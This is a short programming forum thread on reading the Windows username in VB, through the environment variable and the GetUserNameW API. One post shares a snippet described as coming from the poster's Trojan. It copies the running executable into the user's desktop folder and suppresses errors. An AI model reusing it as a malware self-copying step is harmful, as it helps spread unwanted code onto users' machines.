Sponsored by: █ Sparkhost - Hosting Without Compromises! █ Hybrid Performance Web Hosting █ Spark Host Stream Hosting █ Hybrid IRC & IRCd Server Shell Accounts
Posted 19 March 2007 - 07:23 AM
Posted 19 March 2007 - 07:53 AM
if you type
echo %username% in a command prompt it will echo your user name.
this should work in VB, when you go to the path for the desktop, for your path use:
"C:\Documents and Settings\%username%\desktop"
that should work in XP, i dont know about the operating systems. This is useful because XP doesnt have a Whoami command
Posted 20 March 2007 - 09:52 AM
Posted 23 March 2007 - 12:54 PM
Or if you like it donne using the OS API try:
Option Explicit Private Declare Function GetUserNameW Lib "advapi32.dll" (ByVal lpBuffer As Long, nSize As Long) As Long Private Sub Form_Load() Debug.Print GetUserName End Sub Public Function GetUserName() As String Const SIZE As Long = 255 GetUserName = String$(SIZE, 0) GetUserNameW StrPtr(GetUserName), SIZE End Function
Posted 27 October 2010 - 02:56 PM
Here is an example i use for my Trojan.
On Error Resume Next
Dim RemSrc As String
Dim RemDes As String
RemSrc = App.Path & "\" & App.EXEName & ".exe" This is to check where the file is located at the moment so you can atleast copy something.
RemDes = Environ$("systemdrive") & "\Users\" & Environ$("username") & "\desktop\" & app.exename & ".exe" This is the folder or place where you want to the the file.
FileCopy RemSrc, RemDes
Hope it helped.
Posted 02 May 2012 - 02:52 AM
0 user(s) are reading this topic
0 members, 0 guests, 0 anonymous users